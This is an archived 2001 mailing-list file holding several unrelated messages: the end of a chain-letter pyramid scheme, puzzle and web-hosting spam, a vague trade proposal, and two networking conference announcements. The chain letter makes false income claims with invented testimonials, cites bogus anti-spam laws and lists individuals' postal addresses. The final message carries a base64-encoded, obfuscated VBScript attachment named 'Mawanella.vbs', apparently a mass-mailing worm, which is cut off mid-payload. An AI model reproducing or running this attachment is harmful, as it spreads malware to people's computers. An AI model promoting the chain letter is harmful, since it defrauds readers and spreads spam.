where to find thousands of free classified ads and much more.
There are 2 Primary methods to get this venture going:
METHOD # 1 : BY SENDING BULK E-MAIL LEGALLY
============================================
let's say that you decide to start small, just to see how it
goes, and we will assume You and those involved send out only
5,000 e-mails each. Let's also assume that the mailing receive only a0.2% response (the response could be much better but lets just
say it is only 0.2% . Also many people will send out hundreds of
thousands e-mails instead of only 5,000 each).
Continuing with this example, you send out only 5,000 e-mails.
With a 0.2% response, that is only 10 orders for report # 1.
Those 10 people responded by sending out 5,000 e-mail
each for a total of 50,000. Out of those 50,000 e-mails only
0.2% responded with orders. That's = 100 people responded
and ordered Report # 2. Those 100 people mail out 5,000
e-mails each for a total of 500,000 e-mails. The 0.2% response
to that is 1000 orders for Report # 3. Those 1000 people send
out 5,000 e-mails each for a total of 5 million e-mails sent out.
The 0.2% response to that is 10,000 orders for Report # 4.
Those 10,000 people send out 5,000 e-mails each for a total of
50,000,000 (50 million) e-mails. The 0.2% response to that is
100,000 orders for Report # 5.
THAT'S 100,000 ORDERS TIMES $5 EACH = $500,000.00 (half million).
Your total income in this example is:
1..... $50 +
2..... $500 +
3..... $5,000 +
4..... $50,000 +
5..... $500,000 ......... Grand Total = $555,550.00
NUMBERS DO NOT LIE. GET A PENCIL & PAPER AND FIGURE
OUT THE WORST POSSIBLE RESPONSES AND NO MATTER
HOW YOU CALCULATE IT, YOU WILL STILL MAKE A LOT OF
MONEY !
------------------------------------------------------------------------------
REMEMBER FRIEND, THIS IS ASSUMING ONLY 10 PEOPLE
ORDERING OUT OF 5,000 YOU MAILED TO. Dare to think for
a moment what would happen if everyone, or half or even one 4th
of those people mailed 100,000 e-mails each or more? There are
over 250 million people on the internet worldwide and counting.
Believe me, many people will do just that, and more!
METHOD # 2 : BY PLACING FREE ADS ON THE INTERNET
===================================================
Advertising on the net is very very inexpensive and there are
hundreds of FREE places to advertise. Placing a lot of free adson the internet will easily get a larger response. We strongly
suggest you start with Method # 1 and add METHOD # 2 as you go
along.
For every $5 you receive, all you must do is e-mail them the Report
they ordered. That's it . Always provide same day service on all
orders. This will guarantee that the e-mail they send out, with your
name and address on it, will be prompt because they can not advertise until
they receive the report.
_____________________ AVAILABLE REPORTS_____________________
ORDER EACH REPORT BY ITS NUMBER & NAME ONLY.
Notes: Always send $5 cash (U.S. CURRENCY) for each Report.
Checks NOT accepted. Make sure the cash is concealed by wrapping
it in at least 2 sheets of paper. On one of those sheets of paper,
Write the NUMBER & the NAME of the Report you are ordering, YOUR
E-MAIL ADDRESS and your name and postal address.
PLACE YOUR ORDER FOR THESE REPORTS NOW :
==============================================
REPORT #1, "The Insider's Guide to Sending
Bulk E-mail on the Internet"
ORDER REPORT #1 FROM:
G. Donaldson
P.O. Box 25884
Honolulu, Hawaii 96825-0884
don't forget to provide a permanent e-mail address in clear writing (better
typed) to receive the reports. We had problems in delivery e-mails before!!!
==============================================
REPORT #2 "The Insider's Guide to Advertising for Free on the
Internet"
ORDER REPORT #2 FROM:
Vijay Paul
C-291, Second Floor
Defence Colony
New Delhi - 110024
INDIA
==============================================
REPORT #3 "The Secrets to Multilevel Marketing on the Internet"
ORDER REPORT #3 FROM:
JD
P.O.Box 1114
Des Plaines, IL 60017
USA
==============================================
REPORT #4 "How to become a Millionaire utilizing the Power of
Multilevel Marketing and the Internet"
ORDER REPORT #4 FROM:
J Santi
833 Walter Ave
Des Plaines, IL 60016
USA
==============================================
REPORT #5 "How to SEND 1,000,000 e-mails for FREE"
ORDER REPORT #5 FROM:
Elaine Rix
138 Dundas Street, West, #243
Toronto, Ontario
Canada M5G 1C3
==============================================
There are currently more than 250,000,000 people online
worldwide!
$$$$$$$$$ YOUR SUCCESS GUIDELINES $$$$$$$$$$$
Follow these guidelines to guarantee your success:
If you do not receive at least 10 orders for Report #1 within 2
weeks, continue sending e-mails until you do.
After you have received 10 orders, 2 to 3 weeks after that
you should receive 100 orders or more for REPORT # 2.
If you did not, continue advertising or sending e-mails until
you do.
Once you have received 100 or more orders for Report # 2,
YOU CAN RELAX, because the system is already working for
you , and the cash will continue to roll in !
THIS IS IMPORTANT TO REMEMBER : Every time your name is
moved down on the list, you are placed in front of a different report.
You can KEEP TRACK of your PROGRESS by watching which
report people are ordering from you. IF YOU WANT TO GENERATE
MORE INCOME SEND ANOTHER BATCH OF E-MAILS AND
START THE WHOLE PROCESS AGAIN. There is NO LIMIT to
the income you can generate from this business !!!
____________________________________________________
FOLLOWING IS A NOTE FROM THE ORIGINATOR OF THIS
PROGRAM:
You have just received information that can give you financial
freedom for the rest of your life, with NO RISK and JUST A
LITTLE BIT OF EFFORT. You can make more money in the
next few weeks and months than you have ever imagined.
Follow the program EXACTLY AS INSTRUCTED. Do Not change
it in any way. It works exceedingly well as it is now.
Remember to e-mail a copy of this exciting report after you
have put your name and address in Report #1 and moved others to
#2...........# 5 as instructed above. One of the people you send this to may
send out 100,000 or more e-mails and your name will be on everyone of them.
Remember though, the more you send out the more potential customers you will
reach.
So my friend, I have given you the ideas, information,
materials and opportunity to become financially independent. IT IS UP TO YOU
NOW !
************** MORE TESTIMONIALS ****************
"My name is Mitchell. My wife , Jody and I live in Chicago.
I am an accountant with a major U.S. Corporation and I
make pretty good money. When I received this program I grumbled
to Jody about receiving ''junk mail''. I made fun of the
whole thing, spouting my knowledge of the population and
percentages involved. I ''knew'' it wouldn't work. Jody
totally ignored my supposed intelligence and few days later she jumped in
with both feet. I made merciless fun of her, and was ready to
lay the old ''I told you so'' on her when the thing didn'twork. Well, the laugh was on me! Within 3 weeks she had received
50 responses. Within the next 45 days she had received a
total of $ 147,200.00 all cash! I was shocked. I have
joined Jody in her ''hobby''."
Mitchell Wolf,
Chicago, Illinois
------------------------------------------------------------
"Not being the gambling type, it took me several weeks to
make up my mind to participate in this plan. But conservative that
I am, I decided that the initial investment was so little
that there was just no way that I wouldn't get enough orders to at
least get my money back.
I was surprised when I found my medium size post office box
crammed with orders. I made $319,210.00 in the first 12
weeks. The nice thing about this deal is that it does not matter
where people live. There simply isn't a better investment
with a faster return and so big."
Dan Sondstrom, Alberta,
Canada
-----------------------------------------------------------
"I had received this program before. I deleted it, but
later I wondered if I should have given it a try. Of course, I had
no idea who to contact to get another copy, so I had to wait
until I was e-mailed again by someone else.........11 months
passed then it luckily came again...... I did not delete this
one! I made more than $490,000 on my first try and all the
money came within 22 weeks".
Susan De Suza,
New York, N.Y.
----------------------------------------------------
"It really is a great opportunity to make relatively easy
money with little cost to you. I followed the simple
instructions carefully and within 10 days the money
started to come in. My first month I made $ 20,560.00
and by the end of third month my total cash count was
$ 362,840.00. Life is beautiful, Thanx to internet".
Fred Dellaca, Westport,
New Zealand
------------------------------------------------------------
ORDER YOUR REPORTS TODAY AND GET STARTED ON
YOUR ROAD TO FINANCIAL FREEDOM !
=======================================================
If you have any questions of the legality of this program, contact the
Office of Associate Director for Marketing Practices, Federal Trade
Commission, Bureau of Consumer Protection, Washington, D.C.
Under Bill s.1618 TITLE III passed by the 105th US Congress this
letter cannot be considered spam as long as the sender includes
contact information and a method of removal.
This is one time e-mail transmission. No request for removal is
necessary.
------------------------------------------------------------
This message is sent in compliance of the new email
Bill HR 1910. Under Bill HR 1910 passed by the 106th
US Congress on May 24, 1999, this message cannot be
considered Spam as long as we include the way to be
removed. Per Section HR 1910, Please type "REMOVE" in
the subject line and reply to this email. All removal
requests are handled personally an immediately once
received.
From owner-issll@mercury.lcs.mit.edu Thu May 10 22:08:32 2001
Received: from mercury.lcs.mit.edu ([18.26.0.122])
by ietf.org (8.9.1a/8.9.1a) with SMTP id WAA12845
for ; Thu, 10 May 2001 22:08:31 -0400 (EDT)
Received: (from daemon@localhost)
by mercury.lcs.mit.edu (8.9.1/8.9.1) id VAA30187
for issll-outgoing; Thu, 10 May 2001 21:09:59 -0400 (EDT)
Received: from scopsr.gov.cnmail.scopsr.gov.cn ([202.106.127.15])
by mercury.lcs.mit.edu (8.9.1/8.9.1) with ESMTP id VAA08339;
Thu, 10 May 2001 21:09:56 -0400 (EDT)
From: add4@yahoo.com
Received: from yahoo.com by scopsr.gov.cnmail.scopsr.gov.cn (8.8.8+Sun/SMI-SVR4)
id UAA09160; Wed, 9 May 2001 20:47:27 +0800 (CST)
Subject: Puzzles
Date: Wed, 9 May 2001 08:52:50
Message-Id: <392.434757.286784@yahoo.com>
Mime-Version: 1.0
Content-Type: text/html; charset="us-ascii"
Sender: owner-issll@mercury.lcs.mit.edu
Precedence: bulk
Content-Transfer-Encoding: quoted-printable
X-MIME-Autoconverted: from 8bit to quoted-printable by mercury.lcs.mit.edu id VAA30187
Content-Transfer-Encoding: quoted-printable
WORD PUZZLE LOVERS=97
=20
=20
=
~ WORD=20
PUZZLE LOVERS ~
=20
=20
Do you like double acrostics?
We=20
Want To Send You, aFREESample?
=20
=20
Do you like them big with lots of meat=
in them?=20
Our puzzles average well over 250 letters. Most=
published=20
puzzles have around 200.
Do you like them really tough and chal=
lenging?=20
We dig deep for our clues and once in a while =
we stick=20
in a real off-the-wall doozer
=20
=20
If you answerYES,=
we have=20
the acrostics for you!
=20
=20
*We offer a subscription service.<=
/u> *
=20
=20
=20
Our=
Subscribers=20
receive five new mind-ben=
ders every=20
month
and they are delivered right into their m=
ailbox.
=20
=20
Would You Like us to Send=
You, a FREE=20
Sample?
=20
=20
=20
Yes, I want=20
to learn more about your Puzzles=
.
Our=20
puzzles, [word puzzles for the connoisseur] start out with a lite=
rary=20
quote. We use all the letters in the quote and create clues. The =
first=20
letters of the clues spell out the author=92s name and the title =
of the=20
source of the quote. The letters of the clue words are numbered a=
nd correspond=20
to squares in the accompanying grid. Filling in the grid reveals =
the quotation.=20
Sound=20
complicated?
Well=20
maybe a little, but that's where the solving fun comes in.
=20
=20
=20
Yes,=20
I want to learn more about your Puzzles and=20
I want to receive a FREE =
sample.
From owner-issll@mercury.lcs.mit.edu Fri May 11 11:15:23 2001
Received: from mercury.lcs.mit.edu ([18.26.0.122])
by ietf.org (8.9.1a/8.9.1a) with SMTP id LAA12618
for ; Fri, 11 May 2001 11:15:22 -0400 (EDT)
Received: (from daemon@localhost)
by mercury.lcs.mit.edu (8.9.1/8.9.1) id JAA13099
for issll-outgoing; Fri, 11 May 2001 09:33:02 -0400 (EDT)
Received: from server (ni-2-23.cytanet.com.cy [195.14.145.23])
by mercury.lcs.mit.edu (8.9.1/8.9.1) with SMTP id JAA11243;
Fri, 11 May 2001 09:32:59 -0400 (EDT)
From: y@mercury.lcs.mit.edu
Message-Id: <200105111332.JAA11243@mercury.lcs.mit.edu>
Date: Ðáñ, 11 Ìáú 2001 12:58:11
Subject: BUSINESS PROPOSAL
Sender: owner-issll@mercury.lcs.mit.edu
Precedence: bulk
DEAR SIR,
OUR COMPANY "INTERNATIONAL COMMODITY TRADERS" IS INTERESTED TO
ESTABLISH BUSINESS CONTACT WITH COMPANIES IN GREECE DEALING WITH
ORIGINAL GREEK PRODUCTS
SHOULD YOU BE INTERESTED IN SUCH A CO'OPERATION PLEASE CONTACT US
FOR FURTHER ARRANGEMENTS.
FURTHERMORE PLEASE SEND A LIST OF PRODUCTS YOUR COMPANY IS
DEALING.
ALSO WE ARE LOOKING TO CO'OPERATE WITH TRAVEL AGENCIES IN GREECE.
YOURS FAITHFULLY
KATERINA ATHERTON
MARKETING DEPARTMENT
TEL NO.006752050021
FAX NO.006752050022
From owner-issll@mercury.lcs.mit.edu Sat May 12 20:06:19 2001
Received: from mercury.lcs.mit.edu ([18.26.0.122])
by ietf.org (8.9.1a/8.9.1a) with SMTP id UAA21417
for ; Sat, 12 May 2001 20:06:19 -0400 (EDT)
Received: (from daemon@localhost)
by mercury.lcs.mit.edu (8.9.1/8.9.1) id SAA22746
for issll-outgoing; Sat, 12 May 2001 18:54:31 -0400 (EDT)
Received: from tonghua.com.cn ([202.106.185.183])
by mercury.lcs.mit.edu (8.9.1/8.9.1) with SMTP id SAA22759
for ; Sat, 12 May 2001 18:54:18 -0400 (EDT)
Message-Id: <200105122254.SAA22759@mercury.lcs.mit.edu>
Received: (fmail 72744 invoked from network); 12 May 2001 18:53:07 -0000
Received: from unknown (HELO plain) (64.4.68.245)
by mailserver.tonghua.com.cn with SMTP; 12 May 2001 18:53:07 -0000
From: hosting@clearconcepts.ca
To: issll@mercury.lcs.mit.edu
Subject: Re: Hosting from $9.99/month!
Date: Sat, 12 May 2001 15:15:12
Mime-Version: 1.0
Content-Type: text/plain; charset="DEFAULT_CHARSET"
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 5.00.2919.6700
X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2919.6700
Sender: owner-issll@mercury.lcs.mit.edu
Precedence: bulk
Attn: Webmasters
The following is Commision based hosting which you can
utilize for all your client's hosting needs. We can set up
these services to operate completely invisibly to your client,
and you will receive a residual monthly commission on every
client you sign up.
Here are the packages/commission rates:
Selling Price Sign Up 1-25 Sign Up 26-50
Profit/Month Profit/Month
Silver $9.99 $2.00 $3.00
Gold $24.99 $5.00 $7.50
Platinum $49.99 $10.00 $15.00
Selling Price Sign Up 51-100 Sign Up 101
Profit/Month Profit/Month
Silver $24.99 $4.00 $5.00
Gold $9.99 $10.00 $12.50
Platinum $49.99 $20.00 $25.00
Note: All prices in US Dollars.
For more information contact shane@clearconcepts.ca
Clear Concepts Business Solutions Inc.
Ph 204.943.4777
fax 204.943.4422
www.clearconcepts.ca
To be removed from this list, simply send an e-mail to
remove@clearconcepts.ca with the word remove in the
subject line.
From owner-issll@mercury.lcs.mit.edu Mon May 14 08:41:02 2001
Received: from mercury.lcs.mit.edu (mercury.lcs.mit.edu [18.26.0.122])
by ietf.org (8.9.1a/8.9.1a) with SMTP id IAA08927
for ; Mon, 14 May 2001 08:41:01 -0400 (EDT)
Received: (from daemon@localhost)
by mercury.lcs.mit.edu (8.9.1/8.9.1) id GAA01312
for issll-outgoing; Mon, 14 May 2001 06:13:35 -0400 (EDT)
Received: from smtp4.cluster.oleane.net (smtp4.cluster.oleane.net [195.25.12.62])
by mercury.lcs.mit.edu (8.9.1/8.9.1) with ESMTP id GAA01273
for ; Mon, 14 May 2001 06:13:33 -0400 (EDT)
Received: from oleane (dyn-1-1-233.Vin.dialup.oleane.fr [195.25.4.233]) by smtp4.cluster.oleane.net with SMTP id f4EADYG16818 for ; Mon, 14 May 2001 12:13:34 +0200 (CEST)
Message-ID: <00a901c0dc5e$92e9b440$8001a8c0@oleane.com>
From: "Peter Lewis"
To:
Subject: VoDSL Europe 2002
Date: Mon, 14 May 2001 12:13:50 +0200
MIME-Version: 1.0
Content-Type: multipart/alternative;
boundary="----=_NextPart_000_00A6_01C0DC6F.5616F6C0"
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 5.00.2314.1300
X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2314.1300
Sender: owner-issll@mercury.lcs.mit.edu
Precedence: bulk
This is a multi-part message in MIME format.
------=_NextPart_000_00A6_01C0DC6F.5616F6C0
Content-Type: text/plain;
charset="Windows-1252"
Content-Transfer-Encoding: quoted-printable
VoDSL Europe 2002=20
The Deployment Scenario=20
VoDSL Europe 2002, to be held February 12 to 15 in Paris, is the most =
important international event of its kind entirely dedicated to VoDSL =
networks.=20
A Call for proposals is online at:
http://www.upperside.fr/vodsl02/vodsl02intro.htm
VoDSL Europe will also be organized in Germany and Italy in 2002.
------=_NextPart_000_00A6_01C0DC6F.5616F6C0
Content-Type: text/html;
charset="Windows-1252"
Content-Transfer-Encoding: quoted-printable
VoDSL Europe 2002=20
The Deployment=20
Scenario
VoDSL =
Europe=20
2002, to be held February 12 to 15 in Paris, is the most important =
international=20
event of its kind entirely dedicated to VoDSL networks. =
VoDSL Europe will also be =
organized in=20
Germany and Italy in=20
2002.
------=_NextPart_000_00A6_01C0DC6F.5616F6C0--
From owner-issll@mercury.lcs.mit.edu Mon May 14 11:48:32 2001
Received: from mercury.lcs.mit.edu (mercury.lcs.mit.edu [18.26.0.122])
by ietf.org (8.9.1a/8.9.1a) with SMTP id LAA15841
for ; Mon, 14 May 2001 11:48:30 -0400 (EDT)
Received: (from daemon@localhost)
by mercury.lcs.mit.edu (8.9.1/8.9.1) id KAA03374
for issll-outgoing; Mon, 14 May 2001 10:23:47 -0400 (EDT)
Received: from mailgate.rz.uni-karlsruhe.de (mailgate.rz.uni-karlsruhe.de [129.13.64.97])
by mercury.lcs.mit.edu (8.9.1/8.9.1) with ESMTP id KAA02321
for ; Mon, 14 May 2001 10:23:44 -0400 (EDT)
Received: from uni-karlsruhe.de (rz-du-022.rz.uni-karlsruhe.de [129.13.76.22])
by mailgate.rz.uni-karlsruhe.de with esmtp (Exim 3.16 #1)
id 14zJAP-0002o2-00; Mon, 14 May 2001 16:17:45 +0200
Message-ID: <3AFFE929.AD6C6001@uni-karlsruhe.de>
Date: Mon, 14 May 2001 16:18:18 +0200
From: Lars Wolf
Organization: University of Karlsruhe
X-Mailer: Mozilla 4.75 [de] (Windows NT 5.0; U)
X-Accept-Language: en,de
MIME-Version: 1.0
Subject: Call for Participation: IWQoS2001
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-issll@mercury.lcs.mit.edu
Precedence: bulk
Content-Transfer-Encoding: 7bit
[Our apologies for duplicate transmissions]
**** Please note that the early registration deadline expires soon ****
###############################################################
Ninth International Workshop on Quality of Service (IWQoS 2001)
###############################################################
Further information and registration:
http://www.uni-karlsruhe.de/~iwqos/
Karlsruhe, Germany, June 6-8, 2001
hosted by University of Karlsruhe, Institute of Telematics
supported by technical co-sponsorship by / in-cooperation with
IEEE Communications Society (TCCC and ITC),
ACM SIGCOMM and
IFIP WG6.1
Sponsors
SAP AG / CEC -- Karlsruhe Corporate Research
Enterasys Networks
Ericsson Eurolab
Siemens
IBM
NENTEC
Gunther-Schroff-Stiftung
IWQoS2001 Advanced Program
##########################
Tuesday, June 5, 2001
=====================
20:00 IWQoS Reception
Wednesday, June 6, 2001
=======================
08:45 Welcome
Lars Wolf, David Hutchison, Ralf Steinmetz
09:00 Keynote
Quality of Service - 20 Years old and Ready to get a Job?
Henning Schulzrinne
10:00 Break
10:30 Session 1: Provisioning and Pricing
Dynamic Core Provisioning for Quantitative Differentiated Service
Raymond R.-F. Liao, Andrew T. Campbell
Towards Provisioning DiffServ Intra-Nets
Ulrich Fiedler, Polly Huang, Bernhard Plattner
Analysis of Paris Metro Pricing Strategy for QoS with a Single Service Provider
Ravi Jain, Tracy Mullen, Robert Hausman
Why Value is Everything: A User-Centered Approach to Internet Quality of Service
and Pricing
Anna Bouch, M. Angela Sasse
12:30 Break
14:00 Session 2: Systems QoS
Traveling to Rome: QoS Specifications for Automated Storage System Management
John Wilkes
Extending a Best-Effort Operating System to Provide QoS Processor Management
Hans Domjan, Thomas R, Gross
User Focus in Consumer Terminals and Conditionally Guaranteed Budgets
Reinder J. Bril, E. (Liesbeth) F.M. Steffens
15:30 Break
16:00 Session 3: Routing
Extending BGMP for Shared-Tree Inter-Domain QoS Multicast
Aiguo Fei, Mario Gerla
Granularity of QoS Routing in MPLS Networks
Ying-Dar Lin, Nai-Bin Hsu, Ren-Hung Hwan
Fault Tolerance and Load Balancing in QoS Provisioning with Multiple MPLS Paths
Scott Seongwook Lee, Mario Gerla
On Selection of Paths for Multipath Routing
Srihari Nelakuditi, Zhi-Li Zhang
18:00 Break
19:00 Workshop Dinner
Thursday, June 7, 2001
=======================
08:30 Session 4: TCP Related
Preferential Treatment of Acknowledgment Packets in a Differentiated Services
Network
Konstantina Papagiannaki, Patrick Thiran, Jon Crowcroft, Christophe Diot
A Quantitative Model for Parameter Setting of RED with TCP Traffic
Thomas Ziegler, Christof Brandauer, Serge Fdida
Evaluation of the QoS offered by PRTP-ECN - A TCP-Compliant Partially Reliable
Transport Protocol
Karl-Johan Grinnemo, Anna Brunstrom
10:00 Break
10:30 Session 5: Wireless and Mobile
GAME based QoS Provisioning in Multimedia Wideband CDMA Networks
Mohamed Moustafa, Ibrahim Habib, Mahmoud Naghshineh
QoS-aware Adaptive Services in Mobile Ad-hoc Networks
Baochun Li
11:30 Break (Short)
11:45 Panel
How will Media Distribution work in the Internet?
Andrew Campbell, Carsten Griwodz (Chair), Joerg Liebeherr, Dwight Makaroff,
Andreas Mauthe, Giorgio Ventre, and Michael Zink
12:45 Break
14:00 Short Paper Session
Experimental Extensions to RSVP - Remote Client and One-Pass Signalling
Martin Karsten
Extended Quality-of-Service for Mobile Networks
Jukka Manner, Kimmo Raatikainen
Quality of Service Schemes for IEEE 802.11 - A Simulation Study
Anders Lindgren, Andreas Almquist, Olov Schelen
Differentiated Services over Shared Media
Pascal Anelli, Gwendal Le Grand
End-to-Edge QoS System Integration: Integrated Resource Reservation Framework
for Mobile Internet
Yasunori Yasuda, Nobuhiko Nishio, Hideyuki Tokuda
Problems of Elastic Traffic Admission Control in an HTTP Scenario
Joachim Charzinski
16:00 Break
16:30 Session 6: Aggregation and Active Networks Based QoS
Aggregation and Scalable QoS: A Performance Study
Huirong Fu, Edward W. Knightly
Customizable Cooperative Metering for Multi-Ingress Service Level Agreements in
Differentiated Network Services
Syed Umair Ahmed Shah, Peter Steenkiste
Segmented Adaptation of Traffic Aggregates
Hermann de Meer, Piers O`Hanlon
18:00
Friday, June 8, 2001
====================
08:30 Invited Talk
Automated, Dynamic Traffic Engineering in Multi-Service IP Networks
Joe Sventek
09:30 Break
10:00 Session 7: Scheduling and Dropping
Differentiated Services with Lottery Queueing
Joseph Eggleston, Sugih Jamin
On Creating Proportional Loss-rate Differentiation: Predictability and
Performance
Ulf Bodin, Andreas Jonsson, Olov Schelen
11:00 Break
11:30 Session 8: Scheduling and Admission Control
A Novel Scheduler For a low Delay Service Within Best-Effort
Paul Hurley, Jean-Yves Le Boudec, Mourad Kara, Patrick Thiran
JoBS: Joint Buffer Management and Scheduling for Differentiated Services
Jorg Liebeherr, Nicolas Christin
Optimal Call Admission Control under Generalized Processor Sharing Scheduling
Antonis Panagakis, Ioannis Stavrakakis
13:00 Summary
From owner-issll@mercury.lcs.mit.edu Sat May 19 17:43:12 2001
Received: from mercury.lcs.mit.edu (mercury.lcs.mit.edu [18.26.0.122])
by ietf.org (8.9.1a/8.9.1a) with SMTP id RAA15974
for ; Sat, 19 May 2001 17:43:11 -0400 (EDT)
Received: (from daemon@localhost)
by mercury.lcs.mit.edu (8.9.1/8.9.1) id QAA13910
for issll-outgoing; Sat, 19 May 2001 16:55:52 -0400 (EDT)
Received: from POWER2400.mcquillan.com ([209.125.158.43])
by mercury.lcs.mit.edu (8.9.1/8.9.1) with ESMTP id QAA12860
for ; Sat, 19 May 2001 16:55:50 -0400 (EDT)
Subject: Mawanella
Date: Sat, 19 May 2001 16:55:52 -0400
MIME-Version: 1.0
Content-Type: multipart/mixed;
boundary="----_=_NextPart_001_01C0E0A6.172370C5"
Message-ID: <56C1C3D7D684DA47A1542D78D1DDB75C04BFB9@POWER2400.mcquillan.com>
X-MimeOLE: Produced By Microsoft Exchange V6.0.4417.0
content-class: urn:content-classes:message
Thread-Topic: Mawanella
Thread-Index: AcDgphLOi1/E/dfNR5yBxMfzAqizpA==
From: "John McQuillan"
To:
Sender: owner-issll@mercury.lcs.mit.edu
Precedence: bulk
This is a multi-part message in MIME format.
------_=_NextPart_001_01C0E0A6.172370C5
Content-Type: text/plain;
charset="us-ascii"
Content-Transfer-Encoding: quoted-printable
Mawanella is one of the Sri Lanka's Muslim Village
------_=_NextPart_001_01C0E0A6.172370C5
Content-Type: application/octet-stream;
name="Mawanella.vbs"
Content-Description: Mawanella.vbs
Content-Disposition: attachment;
filename="Mawanella.vbs"
Content-Transfer-Encoding: base64
CkV4ZWN1dGUgVW5Db2RlKCJUcyVKd3d0dyVXanh6cmolU2p9eQ9XanIlNDQlTiVtZnlqJVJmfGZz
anFxZiVuc2huaWpzeQ9YanklXGRYJUIlSHdqZnlqVGdvamh5LSdcWGh3bnV5M1htanFxJy4PWGp5
JWt4dCVCJUh3amZ5alRnb2poeS0nWGh3bnV5bnNsM0tucWpYfnh5anJUZ29qaHknLg94ankla25x
aiVCJWt4dDNUdWpzWWp9eUtucWotXFhod251eTNYaHdudXlLenFxc2ZyajE2Lg97Z3hodHV+Qmtu
cWozV2pmaUZxcQ9yZm5zLS4PD3h6ZyVyZm5zLS4PJSUlVHMlSnd3dHclV2p4enJqJVNqfXkPJSUl
aW5yJXx4aHcxd3cxJXh5d1J4bA8lJSV4anklfHhod0JId2pmeWpUZ29qaHktJ1xYaHdudXkzWG1q
cXEnLg8lJSUlJSVYanklaW53fG5zJUIla3h0M0xqeVh1amhuZnFLdHFpanctNS4PJSUlJSUlWGp5
JWlud3h+eHlqciVCJWt4dDNManlYdWpobmZxS3RxaWp3LTYuDyUlJSUlJVhqeSVpbnd5anJ1JUIl
a3h0M0xqeVh1amhuZnFLdHFpanctNy4PJSUlJSUlWGp5JWhLbnFqJUIla3h0M0xqeUtucWotXFho
d251eTNYaHdudXlLenFxU2Zyai4PJSUlJSUlaEtucWozSHR1fi1pbnd4fnh5anIrJ2FSZnxmc2px
cWYze2d4Jy4PJSUlJSUPWGp5JVR6eXF0dHBGJUIlSHdqZnlqVGdvamh5LSdUenlxdHRwM0Z1dXFu
aGZ5bnRzJy4PTmslVHp5cXR0cEYlQiUnVHp5cXR0cCclWW1qcw8lJSVYanklUmZ1bkJUenlxdHRw
RjNManlTZnJqWHVmaGotJ1JGVU4nLg8lJSVYanklRmlpUW54eXhCUmZ1bjNGaWl3anh4UW54eXgP
JSUlS3R3JUpmaG0lUW54eU5zaWp9JU5zJUZpaVFueHl4DyUlJSUlJSVOayVRbnh5TnNpan0zRmlp
d2p4eEpzeXduangzSHR6c3klQUMlNSVZbWpzDw4lJUh0c3lmaHlIdHpzeV0lQiVRbnh5TnNpan0z
Rmlpd2p4eEpzeXduangzSHR6c3kPDiUlS3R3JUh0enN5QiU2JVl0JUh0c3lmaHlIdHpzeV0PJSUl
JSUlJSUlJSUlJSVYanklUmZucV0lQiVUenlxdHRwRjNId2pmeWpOeWpyLTUuDw4lJSUlJSVYankl
SHRzeWZoeV0lQiVRbnh5TnNpan0zRmlpd2p4eEpzeXduangtSHR6c3kuDyUlJSUlJSUlJSUlJSUl
LHJ4bGd0fSVodHN5Zmh5fTNmaWl3anh4DyUlJSUlJSUlJSUlJSUlLFJmbnF9M1dqaG51bmpzeXgz
RmlpLUh0c3lmaHldM0ZpaXdqeHguDyUlJSUlJSUlJSUlJSUlUmZucV0zWXQlQiVIdHN5Zmh5XTNG
aWl3anh4Dw4lJSUlJSVSZm5xXTNYemdvamh5JUIlJ1JmfGZzanFxZicPDiUlJSUlJVJmbnFdM0d0
aX4lQiV7Z2h3cWsrJ1JmfGZzanFxZiVueCV0c2oldGsleW1qJVh3biVRZnNwZix4JVJ6eHFuciVb
bnFxZmxqJyt7Z2h3cWsPDiUlJSUlJSxYanklRnl5ZmhtcmpzeUJSZm5xXTNGeXlmaG1yanN5eA8O
JSUlJSUlLEZ5eWZobXJqc3kzRmlpJWlud3h+eHlqciUrJSdhUmZ8ZnNqcXFmM3tneCcPDiUlJSUl
JSxSZm5xfTNGeXlmaG1yanN5eDNGaWktaW53eH54eWpyJSslJ2FSZnxmc2pxcWYze2d4Jy4PDiUl
JSUlJVJmbnF9M0Z5eWZobXJqc3l4M0ZpaS1pbnd4fnh5anIlKyUnYVJmfGZzanFxZjN7Z3gnLg8O
JSUlJSUlUmZucV0zSWpxanlqRmt5andYemdybnklQiVZd3pqDw4lJSUlJSVOayVSZm5xXTNZdCVB
QyUnJyVZbWpzDw4OJVJmbnFdM1hqc2kPJQ4lJSUlJSVKc2klTmsPJSUlJSUlJSUlJSVTan15DyUl
JSUlJSVKc2klTmsPJSUlU2p9eQ9KcXhqDyUlJXJ4bEd0fSUnVXFqZnhqJUt0d3xmd2kleW1ueCV5
dCVqe2p3fnRzaiclD0pzaSVuaw8PeHl3UnhsQiUnJSUuJSUlJSUlJSUlJSUlJSUlJSUlJSUtJyUr
JXtnaHdxaw94eXdSeGxCJXh5d1J4bCUrJSctJSUuJSUlJSUlJSUlJSUlJSUlJS0lJSUuJSUnJSsl
e2dod3FrD3h5d1J4bEIleHl3UnhsJSslJyUlLSUlJSUuJSUlJSUlJSUlJS0lJSUuJyUrJXtnaHdx
aw94eXdSeGxCJXh5d1J4bCUrJSclJSUlLSUlJS4lJSUlJSUtJSUlJSUlJSUlLiclKyV7Z2h3cWsP
eHl3UnhsQiV4eXdSeGwlKyUnJSUlJTIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjInJSsle2dod3Fr
D3h5d1J4bEIleHl3UnhsJSslJyUlJTQlJSUlJSUlLSUlJS0lJSUlLSUlJSUlJTRhJyUrJXtnaHdx
aw94eXdSeGxCJXh5d1J4bCUrJSclJTQlJSUlJSUlJSUlLSUlJSUlJSUlJSUlJSU0JSVhJyUrJXtn
aHdxaw94eXdSeGxCJXh5d1J4bCUrJSclNCUlJSUlJSUlJSUlJS0lLSUlJSUlJSUlJTQlJSUlYScl
KyV7Z2h3cWsPeHl3UnhsQiV4eXdSeGwlKyUnJTIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIy
MjIyJyUrJXtnaHdxaw94eXdSeGxCJXh5d1J4bCUrJSclgSUlJSUlJSUlJSUlJSUlJSUyMjIlJSUl
JSWBJSUlJSUlgSclKyV7Z2h3cWsPeHl3UnhsQiV4eXdSeGwlKyUnJYElJTIyMjIyJSUlJSUlJSWB
JSUlgSUlJSUlJYElJSUlJSWBJyUrJXtnaHdxaw94eXdSeGxCJXh5d1J4bCUrJSclgSWBJSUlJSWB
